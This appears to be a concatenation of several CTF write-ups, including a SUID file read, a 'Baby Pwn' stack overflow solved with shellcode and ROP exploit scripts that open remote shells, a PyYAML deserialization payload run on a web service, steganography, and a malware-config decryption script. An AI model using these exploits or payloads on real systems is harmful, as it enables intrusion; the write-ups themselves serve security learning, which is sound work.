The `/var/cat` file stood out, as `cat` is usually located in the `/usr/bin`directory, without the `SUID` permission set.
Executing the file to check that it behaves as the regular `cat` program:```$ /var/cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin(...)```
Examining the file attributes with `ls`, we can see that the owner of `/var/cat`is `shebang6`:```$ ls -al /var/cat---s--x--x 1 shebang6 root 16992 Oct 14 20:51 /var/cat```
Now we can use the `find` command to look for files owned by `shebang6`:```$ find / -user shebang6 2>/dev/null/var/cat/etc/passwords/shebang6```
The file `/etc/passwords/shebang6` looked promising, so tried to output itscontent with `/var/cat`:
```$ /var/cat /etc/passwords/shebang6CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}```
Thus, the flag for shebang5 is `CYCTF{W3ll_1_gu3$$_SU1D_1$_e@$y_fl@g$}`. |
## Challenge Description:
I gave the flag to a friend of mine to protect it, she likes riddles and apparently has a bad temper. Go say hi: nc sphinx.razictf.ir 1379
When you connect to the challenge host. You get a base64 encoded image and you need to answer the question with the position of the shape within a short period of time or the connection would time out.
I used this script to get the images and manually answered the questions.
```py
#!/usr/bin/env python3import base64from pwn import *import oshost = "sphinx.razictf.ir"port = 1379io = remote(host,port)io.recv(1024)io.sendline('yes')
for i in range(1,21): encoded = io.recvuntil('? ') enc_image = encoded.decode().split('\n')[0] question = encoded.decode().split('\n')[1] f = open('image1.png','wb') f.write(base64.b64decode(enc_image)) f.close()#os.system('eog image1.png &') print(str(i) + " " +question) io.sendline(input('> ')) #print(io.recvuntil('? '))print(io.recv().decode())
```Here's how the decoded image looked like with the shape position being denoted by a,b,c,d.

Flag:
 |
## Eff-twelve \[18 pts.\]> How do you inspect what's on a web page?
Simple web challenge, and as the name suggests we have to use the F12 menu.
Sure enough, here's the flag
 |
# CyberSecurityRumble CTF 2020
## Baby Pwn
> 100 + 0 (65 solves)>> Never done any kind of binary exploitation before? This should get you started. Grab some gdb or radare, turn off **ASLR**, forget about stack canaries, and let the fun begin.>> `nc chal.cybersecurityrumble.de 1990`> > [files](baby-pwn-c84231024c5f62bf35ec0c201b3605ec.tar.xz)
Tags: _pwn_ _x86-64_ _remote-shell_ _shellcode_ _bof_ _rop_
## Summary
The description pretty much gives it all away, this is going to be oldskool pre-ASLR shellcoding--should be _fun_. BTW, Linux didn't have ASLR [mainstream] until 2005, however it feels like it has been around forever.
The gamemasters have provided all the source, including Docker configs so that you can precisely mirror the challenge service.
> **Update:** I discovered a minor error in my container build while exploring alternative solutions. I am leaving the write up as is since this is the path I took, however I'll note the differences in errata at the end.
> **Update:** Added alternative solves at the end.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments```
PIE and nothing else, however with ASLR disabled (assumed from the description), does it really matter?
### Read the source
```cint check_user_hash(char* flag) { unsigned char user_md5[MD5_DIGEST_LENGTH * 2 + 1]; unsigned char flag_md5[MD5_DIGEST_LENGTH];
/* calculate MD5("CSR{...}") */ calc_string_md5(flag, flag_md5);
/* read user input, convert to hexadecimal */ gets(user_md5); hex_to_binary(user_md5, user_md5, strlen(user_md5));
return memcmp(flag_md5, user_md5, MD5_DIGEST_LENGTH) ? 0 : 1;}```
`gets` with no stack canary provides an easy buffer overflow.
For analysis I prefer the output from Ghidra vs. the source:
```culong check_user_hash(char *param_1){ size_t len; ulong local_88; ulong local_80; ulong local_78; ulong local_70; MD5_Init((MD5_CTX *)&local_78); len = strlen(param_1); MD5_Update((MD5_CTX *)&local_78,param_1,len); MD5_Final((uchar *)&local_88,(MD5_CTX *)&local_78); gets((char *)(MD5_CTX *)&local_78); len = strlen((char *)(MD5_CTX *)&local_78); hex_to_binary((long)(MD5_CTX *)&local_78,(long)(MD5_CTX *)&local_78,len); return (ulong)((local_80 ^ local_70 | local_88 ^ local_78) == 0);}```
All I'm interested in is the `gets` call with the parameter of `local_78`. This tells me that the buffer is `0x78` bytes from the return address on the stack. No need to guess.
All we need now is a payload and an address. But before that we need to look at `hex_to_binary` since that is called and alters the stack on the way to `ret`:
```cvoid hex_to_binary(char *in, unsigned char* out, size_t length) { size_t i; assert("length must be even" && (length % 2) == 0); length /= 2; for (i = 0; i < length; i++) { out[i] = char_to_repr(in[i * 2]) << 4 | char_to_repr(in[i * 2 + 1]); }}```
`hex_to_binary` is expecting an even number of chars validated by `char_to_repr` (hex digits):
```cunsigned char char_to_repr(char in) { if (in >= '0' && in <= '9') return in - '0'; if (in >= 'a' && in <= 'f') return in - 'a' + 0xa; if (in >= 'A' && in <= 'F') return in - 'A' + 0xa; assert("not in hex digit range" && 0);}```
`hex_to_binary` loops through and updates `local_78` in place--best if our shellcode is after this.
### Find the target address
> This is only one of many ways to solve this. Without ASLR and the included Docker container, the address of the binary and libc should be consistent enabling ROP, one_gadget, etc... However, the port number _is_ `1990`, so let's do this like it's the [90's](http://www.phrack.org/issues/49/14.html#article).
> For dev/test I did this in an Ubuntu 20.04 container, but for the target service, I had to build their Docker container.
After extracting the challenge files, just `cd` into the `baby-pwn-for-download/docker` directory and type:
```bash$ docker build -t babypwn .Sending build context to Docker daemon 27.14kB...Successfully built a2b13660aa2cSuccessfully tagged babypwn:latest```
Then start with:
```bashdocker run --rm -d -p 1990:6666 --name babypwn --privileged babypwn```
After that, get in the container and install some tools:
```bash$ docker exec -it babypwn /bin/bash# apt-get update && apt-get -qy install gdb python3 wget# wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh```
From another terminal connect to port 1990, e.g.:
```bashnc localhost 1990```
You should receive:
```It's easy. Give me MD5($flag), get $flag in return.```
Now from the docker session type:
```bash# cd /home/ctf# gdb babypwn $(pidof babypwn)```
At this point we're in the middle of `gets` in the middle of `check_user_hash`:
```gdb(gdb) disas check_user_hashDump of assembler code for function check_user_hash: 0x0000555555555440 <+0>: push r12 0x0000555555555442 <+2>: mov r12,rdi 0x0000555555555445 <+5>: push rbp 0x0000555555555446 <+6>: sub rsp,0x78 0x000055555555544a <+10>: lea rbp,[rsp+0x10] 0x000055555555544f <+15>: mov rdi,rbp 0x0000555555555452 <+18>: call 0x5555555550c0 <MD5_Init@plt> 0x0000555555555457 <+23>: mov rdi,r12 0x000055555555545a <+26>: call 0x555555555080 <strlen@plt> 0x000055555555545f <+31>: mov rsi,r12 0x0000555555555462 <+34>: mov rdi,rbp 0x0000555555555465 <+37>: mov rdx,rax 0x0000555555555468 <+40>: call 0x5555555550a0 <MD5_Update@plt> 0x000055555555546d <+45>: mov rsi,rbp 0x0000555555555470 <+48>: mov rdi,rsp 0x0000555555555473 <+51>: call 0x555555555090 <MD5_Final@plt> 0x0000555555555478 <+56>: mov rdi,rbp 0x000055555555547b <+59>: call 0x5555555550b0 <gets@plt> 0x0000555555555480 <+64>: mov rdi,rbp 0x0000555555555483 <+67>: call 0x555555555080 <strlen@plt> 0x0000555555555488 <+72>: mov rsi,rbp 0x000055555555548b <+75>: mov rdi,rbp 0x000055555555548e <+78>: mov rdx,rax 0x0000555555555491 <+81>: call 0x555555555360 <hex_to_binary> 0x0000555555555496 <+86>: mov rdx,QWORD PTR [rsp+0x8] 0x000055555555549b <+91>: mov rax,QWORD PTR [rsp] 0x000055555555549f <+95>: xor rdx,QWORD PTR [rsp+0x18] 0x00005555555554a4 <+100>: xor rax,QWORD PTR [rsp+0x10] 0x00005555555554a9 <+105>: or rdx,rax 0x00005555555554ac <+108>: sete al 0x00005555555554af <+111>: add rsp,0x78 0x00005555555554b3 <+115>: movzx eax,al 0x00005555555554b6 <+118>: pop rbp 0x00005555555554b7 <+119>: pop r12 0x00005555555554b9 <+121>: retEnd of assembler dump.```
Above, `gets` is at offset `+59`, so set a break point just after `gets` (offset `+64`):
```gdb(gdb) b *check_user_hash+64(gdb) c```
From the other terminal (where `nc` is running) type `AAAA` and press return, then back to the gdb session and dump the stack frame:
```gdb(gdb) telescope $rsp 18```
> Why 18? It's the length of the stack frame in 8-byte words. This can be computed from the start of the function:> > ```assembly> 00101440 41 54 PUSH R12> 00101442 49 89 fc MOV R12,param_1> 00101445 55 PUSH RBP> 00101446 48 83 ec 78 SUB RSP,0x78> ``` > > Two pushes and a `SUB` = `8 + 8 + 0x78 = 136`, then add 8 for the return address pushed from call for a total of 144 bytes. `144 / 8 = 18`.
Output:
```gdb0x00007fffffffe720│+0x0000: 0x1be3e93037b0d224 ← $rsp0x00007fffffffe728│+0x0008: 0x65eb4ac4ed9083840x00007fffffffe730│+0x0010: 0x1be3e90041414141 ("AAAA"?) ← $rax, $rbp0x00007fffffffe738│+0x0018: 0x65eb4ac4ed9083840x00007fffffffe740│+0x0020: 0x00000000000000f80x00007fffffffe748│+0x0028: 0x00000000000000000x00007fffffffe750│+0x0030: 0x00000000000000000x00007fffffffe758│+0x0038: 0x00000000000000000x00007fffffffe760│+0x0040: 0x00000000000000000x00007fffffffe768│+0x0048: 0x00000000000000000x00007fffffffe770│+0x0050: 0x00000000000000000x00007fffffffe778│+0x0058: 0x00000000000000000x00007fffffffe780│+0x0060: 0x00000000000000000x00007fffffffe788│+0x0068: 0x00000000000000000x00007fffffffe790│+0x0070: 0x00000000000000030x00007fffffffe798│+0x0078: 0x00000000000000030x00007fffffffe7a0│+0x0080: 0x00007fffffffe7b0 → "CSR{this-is-not-the-real-flag}\n"0x00007fffffffe7a8│+0x0088: 0x0000555555555176 → <main+150> test eax, eax```
Line `+0x0088` is the return address (the `<main+150> test eax, eax` is also a give away) and it is exactly `0x78` from line `+0x0010` (see our `AAAA`) as expected.
So we should be able to write an even number of `A` (e.g. 6), followed by a couple of nulls to terminate the string, followed by our payload plus padding to line `+0x0088` where we would put in the address of our payload `0x00007fffffffe738`. And if you're wondering why this does not change, well, it's because ASLR is disabled in their service startup script `babypwn_svc`:
```service babypwn{ type = UNLISTED protocol = tcp socket_type = stream port = 6666 server = /usr/bin/setarch server_args = x86_64 --addr-no-randomize /home/ctf/babypwn user = ctf wait = no env = PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin}```
`setarch $(uname -m) --addr-no-randomize` will execute the next parameter passed to it without ASLR.
Traditionally, we'd setup a NOP sled just in case the stack is a little off, even with ASLR disabled, its possible for other factors to have the stack not exactly where expected (however for this challenge it appears to be as predictable as it _gets_).
Before doing the math and building the longest possible sled we need to consider the following just before the return is called:
```assembly001014af 48 83 c4 78 ADD RSP,0x78001014b3 0f b6 c0 MOVZX EAX,AL001014b6 5d POP RBP001014b7 41 5c POP R12```
The stack pointer is moved to `+0x0078` (see stack above), then the next two values popped into `RBP` and `R12`. So unless you want to lose the end of your payload, say clear of the 16 bytes just before the return address.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
context.log_level = 'INFO'context.log_file = 'remote.log'p = remote('chal.cybersecurityrumble.de', 1990)stack = 0x00007fffffffe738
# http://shell-storm.org/shellcode/files/shellcode-905.phpshellcode = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52'shellcode += b'\x48\xbf\x2f\x62\x69\x6e\x2f\x2f'shellcode += b'\x73\x68\x57\x54\x5e\x49\x89\xd0'shellcode += b'\x49\x89\xd2\x0f\x05'shellcode += (8 - (len(shellcode) % 8)) * b'\x90'
payload = b''payload += 6 * b'A'payload += 2 * b'\0'payload += (0x78 - 8 - 16 - len(shellcode)) * b'\x90'payload += shellcodepayload += (0x78 - len(payload)) * b'\x90'payload += p64(stack)
p.sendlineafter('return.\n',payload)p.interactive()```
`stack` is from the analysis above.
`shellcode` is just the first x86_64 Linux shell code I stumbled on from [http://shell-storm.org](http://shell-storm.org) padded to be a multiple of 8 bytes (stack aligned).
The `payload` starts with an even number of `A`s followed by NULLs to fool `hex_to_binary` and `char_to_repr` while keeping the total length to 8 (stack aligned).
Appended to the `payload` is a NOP sled that will put the end of our shellcode 16 bytes from the return address to avoid getting popped off just before return (see analysis). The `0x78 - 8 - 16` is from the analysis above (`0x78` bytes from return address `- 8` for the `hex_to_binary` bypass, followed by `- 16` for the 16 bytes to be avoided before the return address).
Appended next is the actual `shellcode`, then 16 bytes of anything really, then the new return address (`stack`).
That's it.
Output:
```bash# ./exploit.py[+] Opening connection to chal.cybersecurityrumble.de on port 1990: Done[*] Switching to interactive mode$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ ls -ltotal 52lrwxrwxrwx 1 root root 7 Oct 8 01:31 bin -> usr/bindrwxr-xr-x 2 root root 4096 Apr 15 2020 bootdrwxr-xr-x 5 root root 340 Oct 30 18:36 devdrwxr-xr-x 1 root root 4096 Oct 30 18:36 etc-rw-r--r-- 1 root root 45 Oct 30 16:07 flag.txtdrwxr-xr-x 1 root root 4096 Oct 30 18:36 homelrwxrwxrwx 1 root root 7 Oct 8 01:31 lib -> usr/liblrwxrwxrwx 1 root root 9 Oct 8 01:31 lib32 -> usr/lib32lrwxrwxrwx 1 root root 9 Oct 8 01:31 lib64 -> usr/lib64lrwxrwxrwx 1 root root 10 Oct 8 01:31 libx32 -> usr/libx32drwxr-xr-x 2 root root 4096 Oct 8 01:31 mediadrwxr-xr-x 2 root root 4096 Oct 8 01:31 mntdrwxr-xr-x 2 root root 4096 Oct 8 01:31 optdr-xr-xr-x 310 root root 0 Oct 30 18:36 procdrwx------ 2 root root 4096 Oct 8 01:34 rootdrwxr-xr-x 1 root root 4096 Oct 23 17:32 runlrwxrwxrwx 1 root root 8 Oct 8 01:31 sbin -> usr/sbindrwxr-xr-x 2 root root 4096 Oct 8 01:31 srvdr-xr-xr-x 13 root root 0 Oct 30 23:13 sysdrwxrwxrwt 1 root root 4096 Oct 30 18:35 tmpdrwxr-xr-x 1 root root 4096 Oct 8 01:31 usrdrwxr-xr-x 1 root root 4096 Oct 8 01:34 var$ cat flag.txtCSR{back-in-1990-life-must-have-been-easier}```
## Errata
The challenge Dockerfile `FROM` statement pulls `ubuntu:latest`, however if you already have something labeled as `ubuntu:latest` in your local repo, then that is used instead. In my case that was based on 18.04 (`libc6_2.27-3ubuntu1_amd64.so` vs. `libc6_2.31-0ubuntu9_amd64.so` from the challenge server). The net effect was a stack address that was off by `0x10`, but then that's what NOP sleds were designed to help with, so in the end, no problem.
My advice to CTF authors: be specific.
### Find the target address (redo)
First, `docker rmi ubuntu:latest`, just in case.
The stack frame should now be:
```0x00007fffffffe710│+0x0000: 0x1be3e93037b0d224 ← $rsp0x00007fffffffe718│+0x0008: 0x65eb4ac4ed9083840x00007fffffffe720│+0x0010: 0x1be3e90041414141 ("AAAA"?) ← $rax, $rbp, $r80x00007fffffffe728│+0x0018: 0x65eb4ac4ed9083840x00007fffffffe730│+0x0020: 0x00000000000000f80x00007fffffffe738│+0x0028: 0x00000000000000000x00007fffffffe740│+0x0030: 0x00000000000000000x00007fffffffe748│+0x0038: 0x00000000000000000x00007fffffffe750│+0x0040: 0x00000000000000000x00007fffffffe758│+0x0048: 0x00000000000000000x00007fffffffe760│+0x0050: 0x00000000000000000x00007fffffffe768│+0x0058: 0x00000000000000000x00007fffffffe770│+0x0060: 0x00000000000000000x00007fffffffe778│+0x0068: 0x00000000000000000x00007fffffffe780│+0x0070: 0x00007fffffffe7a0 → "CSR{this-is-not-the-real-flag}\n"0x00007fffffffe788│+0x0078: 0x00000000000000030x00007fffffffe790│+0x0080: 0x00007fffffffe7a0 → "CSR{this-is-not-the-real-flag}\n"0x00007fffffffe798│+0x0088: 0x0000555555555176 → <main+150> test eax, eax```
This is translated `-0x10` from the write up that incorrectly used Ubuntu 18.04 (libc 2.27). The method remains unchanged.
## Alternative Solutions
### Shellcode after return address (very 90s)
This is closer to 90's buffer overflow/shellcode exploits. I initially went with the shellcode in the stack frame out of habit--many CTFs use `fgets` or `read` limiting the number of bytes. But this is all 90s, all `gets`, so putting after the return address should have been the obvious way to do this:
```python#!/usr/bin/env python3
from pwn import *
context.arch = 'x86_64'context.log_level = 'INFO'context.log_file = 'remote.log'p = remote('chal.cybersecurityrumble.de', 1990)stack = 0x00007fffffffe7a0
payload = 2 * b'A'payload += (0x78 - len(payload)) * b'\0'payload += p64(stack)payload += asm(shellcraft.sh())
p.sendlineafter('return.\n',payload)p.interactive()```
The `stack` value (`0x00007fffffffe7a0`) is based on the stack frame above (see Errata), and is just below the return address `0x00007fffffffe798`.
### ROP (post ASLR world)
Although compiled with PIE enabled, the challenge server launches with ASLR disabled, so we get the base address for free and can use ROP:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./babypwn')context.log_level = 'INFO'context.log_file = 'remote.log'libc_index = 0offset = 0x78
if binary.pie: # need leak or assume no ASLR binary.address = 0x0000555555554000```
All we need is the stack frame offset (see analysis section above), and the base process address. Since ASLR is disabled we know that it'll be `0x0000555555554000`.
No brittle stack address info required.
```pythonwhile True: p = remote('chal.cybersecurityrumble.de', 1990)
rop = ROP([binary]) pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
payload = 2 * b'A' payload += (offset - len(payload)) * b'\0' payload += p64(pop_rdi) payload += p64(binary.got.puts) payload += p64(binary.plt.puts) payload += p64(binary.sym.main)
p.sendlineafter('return.\n',payload) _ = p.recv(6) puts = u64(_ + b'\0\0') log.info('puts: ' + hex(puts))```
This is basic ROP 101, use `pop rdi` and have `puts` _put_ itself out there, then circle back to `main` for a second pass.
This is all enclosed in a while loop is for finding libc. Although we can get it from the container, with many CTF challenges that is not an option. I've been using this to lazily just find the correct libc:
```python import requests r = requests.post('https://libc.rip/api/find', json = {'symbols':{'puts':hex(puts)[-3:]}}) while True: libc_url = r.json()[libc_index]['download_url'] if context.arch in libc_url: break libc_index += 1 log.info('libc_url: ' + libc_url) libc_file = libc_url.split('/')[-1:][0] if not os.path.exists(libc_file): log.info('getting: ' + libc_url) r = requests.get(libc_url, allow_redirects=True) open(libc_file,'wb').write(r.content)```
This code attempts to find and download the matching libc based on arch and the last three nibbles of the `puts` function.
```python libc = ELF(libc_file) libc.address = puts - libc.sym.puts log.info('libc.address: ' + hex(libc.address))
payload = 2 * b'A' payload += (offset - len(payload)) * b'\0' payload += p64(pop_rdi + 1) payload += p64(pop_rdi) payload += p64(libc.search(b'/bin/sh').__next__()) payload += p64(libc.sym.system)
p.sendlineafter('return.\n',payload)
try: p.sendline('echo shell') if b'shell' in p.recvline(): p.interactive() break except: libc_index += 1 p.close()```
The candidate libc is used to complete the second pass and get a shell, however if this fails, the next libc candidate will be tested.
If all libc candidates are exhausted, then this will just error out. It's most likely not an issue with libc but exploit code.
Output:
```bash# ./exploit3.py[*] '/pwd/datajerk/cybersecurityrumblectf2020/babypwn/babypwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments[+] Opening connection to chal.cybersecurityrumble.de on port 1990: Done[*] Loaded 23 cached gadgets for './babypwn'[*] puts: 0x7ffff7af25a0[*] libc_url: https://libc.rip/download/libc6_2.31-0ubuntu9_amd64.so[*] getting: https://libc.rip/download/libc6_2.31-0ubuntu9_amd64.so[*] '/pwd/datajerk/cybersecurityrumblectf2020/babypwn/libc6_2.31-0ubuntu9_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] libc.address: 0x7ffff7a6b000[*] Switching to interactive mode$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ cat flag.txtCSR{back-in-1990-life-must-have-been-easier}```
### one_gadget
Well, since we know the version of libc and it's address, we might as well see if `one_gadget` will work:
```bash# one_gadget libc6_2.31-0ubuntu9_amd64.so0xe6ce3 execve("/bin/sh", r10, r12)constraints: [r10] == NULL || r10 == NULL [r12] == NULL || r12 == NULL
0xe6ce6 execve("/bin/sh", r10, rdx)constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL
0xe6ce9 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL```
This, does not work:
```python#!/usr/bin/env python3
from pwn import *
context.arch = 'x86_64'context.log_level = 'INFO'context.log_file = 'remote.log'p = remote('chal.cybersecurityrumble.de', 1990)
libc = ELF('./libc6_2.31-0ubuntu9_amd64.so')libc.symbols['gadget'] = [0xe6ce3, 0xe6ce6, 0xe6ce9][2]libc.address = 0x7ffff7a6b000
payload = 2 * b'A'payload += (0x78 - len(payload)) * b'\0'payload += p64(libc.sym.gadget)
p.sendlineafter('return.\n',payload)p.interactive()```
I tested all three. However, this did work with an Ubuntu 18.04 container and libc 2.27. So I'll leave it here and an example for the cases where it may work. |
The challenge is pretty easy, we can already tell from the title and the description that we'll be dealing with google maps. *perhaps*?the enc.txt file contains different latitudes and longitudes.
The hardest part of this challenge is probably dealing with google maps api.after several attempts I gave up on it and went looking for something else, I ended up using OpenCage API that also offers a python module, Great!
```from opencage.geocoder import OpenCageGeocode
key = ""geocoder = OpenCageGeocode(key=key)
world = eval(open("enc.txt").read())flag = "nactf{"
for place in world: results = geocoder.reverse_geocode(place[0], place[1]) flag += results[0]["components"]["country"][0]else: flag+="}" print(flag)``` |
# Rhazes
## Task
Find the hidden chemical formula in this depiction of an alchemist known as Rhazes.
File: Rhazes.jpg
Tags: steganography
## Solution
The file is huge (10MB) and there is nothing interesting to find using `file`, `foremost`, `binwalk`, `stegsolve`. I used a patched version of `stegsolve` to allow zoom this very large image:
```bash$ file Rhazes.jpgRhazes.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 8536x9688, components 3```
Loading was very slow and I didn't find anything. I then tried `steghide` with a wordlist generated from the challenge task description. `Rhazes` was the correct password.
```bash$ steghide info Rhazes.jpg"Rhazes.jpg": format: jpeg capacity: 481,2 KBTry to get information about embedded data ? (y/n) yEnter passphrase: embedded file "MagicSanitizer.jpg": size: 407,0 KB encrypted: rijndael-128, cbc compressed: yes$ steghide extract -p Rhazes -sf Rhazes.jpg -xf MagicSanitizer.jpg$ file MagicSanitizer.pngMagicSanitizer.png: PNG image data, 4335 x 350, 8-bit/color RGBA, non-interlaced```
After extracting don't let the filename fool you. A trying `zsteg` I viewed the file and saw a weird pattern that seemed to be displaced in the x-direction. So I opened `stegsolve` again and used the `Stereogram solver`. Yes, you need to click a lot since the file is `4335` pixels wide.
At offset `161` we can see the flag on a black background with letters in rainbow colors.
`RaziCTF{C2H5OH_k1ll5_54r5_c0v_2}` |
# Wheels n Whales
## DescriptionThis task gives us a link to a site where you can create a Wheel or a Whale. It asks for different inputs and will create a Wheel or a Whale for you. We are also given the python source code that the site is running.
## Static AnalysisThe Python code we get is pretty simple, it has two POST routes, `/wheels` and `/whales`. First we look at how the whale route is handled:
```PythonEASTER_WHALE = {"name": "TheBestWhaleIsAWhaleEveryOneLikes", "image_num": 2, "weight": 34}
...
@app.route("/whale", methods=["GET", "POST"])def whale(): if request.method == "POST": name = request.form["name"] if len(name) > 10: return make_response("Name to long. Whales can only understand names up to 10 chars", 400) image_num = request.form["image_num"] weight = request.form["weight"] whale = Whale(name, image_num, weight) if whale.__dict__ == EASTER_WHALE: return make_response(flag.get_flag(), 200) return make_response(render_template("whale.html.jinja", w=whale, active="whale"), 200) return make_response(render_template("whale_builder.html.jinja", active="whale"), 200)``` I see that this route is extracting the form data from the request and putting it into variables. Then it is checking to make sure the name is less than 10 characters long. Finally we are creating a whale object with the data and checking if it is equal to `EASTER_WHALE`. If it is equal then we send the flag!! Easy! All we have to do is send ```Json{"name": "TheBestWhaleIsAWhaleEveryOneLikes", "image_num": 2, "weight": 34}``` to the server and we are given the flag right? No. The name "TheBestWhaleIsAWhaleEveryOneLikes" is longer than 10 characters so it will actually send ```Pythonreturn make_response("Name to long. Whales can only understand names up to 10 chars", 400)``` Now lets take a look at how /wheels works.
```[email protected]("/wheel", methods=["GET", "POST"])def wheel(): if request.method == "POST": if "config" in request.form: wheel = Wheel.from_configuration(request.form["config"]) return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200) name = request.form["name"] image_num = request.form["image_num"] diameter = request.form["diameter"] wheel = Wheel(name, image_num, diameter) print(wheel.dump()) return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200) return make_response(render_template("wheel_builder.html.jinja", active="wheel"), 200)```Here we can see that if we send a POST request with "config" in the form data we will run the following two lines:
```Pythonwheel = Wheel.from_configuration(request.form["config"])return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)```If we look at what `Wheel.from_configuration` is doing we see the following: ```Python@staticmethoddef from_configuration(config): return Wheel(**yaml.load(config, Loader=yaml.Loader))```
## TestingAfter doing some research I found that we can run/create objects if we can control the input into `yaml.load` (https://webcache.googleusercontent.com/search?q=cache:Z3GtKZReRzoJ:https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf%3Futm_source%3Ddlvr.it%26utm_medium%3Dtwitter+&cd=1&hl=en&ct=clnk&gl=be&client=firefox-b-e). I used `time.sleep(10)` to test the theory on my local machine.
```Pythonimport yamlimport time
data = "{'name': !!python/object/apply:time.sleep [10], 'image_num': 2, 'diameter':2}"
class Wheel: def __init__(self, name, image_num, diameter): self.name = name self.image_num = image_num self.diameter = diameter
@staticmethod def from_configuration(config): return Wheel(**yaml.load(config, Loader=yaml.Loader)) def dump(self): return yaml.dump(self.__dict__)
wheel = Wheel.from_configuration(data)```If you run this test code you will see that the program will hang for 10 seconds before finishing.
## SolutionInstead of calling time.sleep() we can call `flag.get_flag()` as they did in the Whale route. I used Postman to send a POST request to wheel route with the form data containing `{config: {'name': !!python/object/apply:flag.get_flag [], 'image_num': 2, 'diameter':2}}`. The server responded with:```diameter: 2image_num: 2name: CSR{TH3_QU3STION_I5_WHY_WHY_CAN_IT_DO_THAT?!?}```
flag = "CSR{TH3_QU3STION_I5_WHY_WHY_CAN_IT_DO_THAT?!?}" |
We need to automate the config decryption for ten binaries. The decryption function is slightly different from Phase 2: a bit of reversing is needed. Good news: all the binaries use the same decryption function! ^^'
```from Crypto.Cipher import ARC4from pwn import *from base64 import b64decodeimport re
def rc4_decrypt2(key,ct): dec = list(ct[1:]) cipher = ARC4.new(key) tmp = cipher.decrypt(key[:16]) + ct[1:] for i in range(0x31): tmp2 = cipher.decrypt(tmp[i:i+16]) j,k = 0,0 while(k < 16): j ^= tmp2[k] k += 1 dec[i] ^= j return bytes(dec).decode().rstrip('\x00')
FILE = "malware_phase3"
r = remote("chals.damctf.xyz", 32153)r.sendlineafter("Ready? Set? GO! (press enter to continue)","")for i in range(10): print(r.recvline()) r.recvline() BIN = b64decode(r.recvline()) f = open(FILE,"wb") f.write(BIN) f.close()
elf = ELF(FILE) ro = elf.get_section_by_name(".rodata").data() data = elf.get_section_by_name(".data").data()
key = ro[0x10:0x30] config = {} for i in range(10): offset = 0x20+i*0x32 ct = data[offset:offset+0x32] pt = rc4_decrypt2(key,ct) config[pt[:4]] = pt[4:] print(config)
question = r.recvline() print(question) k = re.findall("'(.{4})'",question)[0] if k not in config.keys(): print("\tkey is "+k) exit() r.sendline(config[k]) r.recvline()
r.interactive()r.close()``` |
# Encoder
## Task
Decode it!
Files: Makefile, encoder, output.bin
## Solution
If you've never done reverse engineering before this challenge might be a bit hard but in my opinion just right. You learn something about syscalls and instructions.
I liked it very much. I have stored these files in the `encoder-files` folder if you want to try it yourself.
Here are some resources:
- https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/x64-architecture (about registers, their sizes and special access to them) - https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ (about syscalls and their parameters)
Let's start with file file contents:
```bash$ file encoderencoder: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=831df3fd066f8dddb47fbbb8a18383c5fc8d3fe4, not stripped$ file output.binoutput.bin: data$ cat Makefile.PHONY: defaultdefault: output.bin
output.bin: flag.txt ./encoder <flag.txt >$@$ xxd output.bin00000000: 1ece c7be 2ba2 07c8 129e 6236 ae73 76c1 ....+.....b6.sv.00000010: f294 4b68 c519 bd31 de70 ebbe ad9a fa47 ..Kh...1.p.....G00000020: 47cd 01 G..```
The task is to reverse engineer what `encoder` does. It reads a flag from `stdin` and writes it to `stdout` in our `output.bin`.
Let's analyze it with `radare2`:
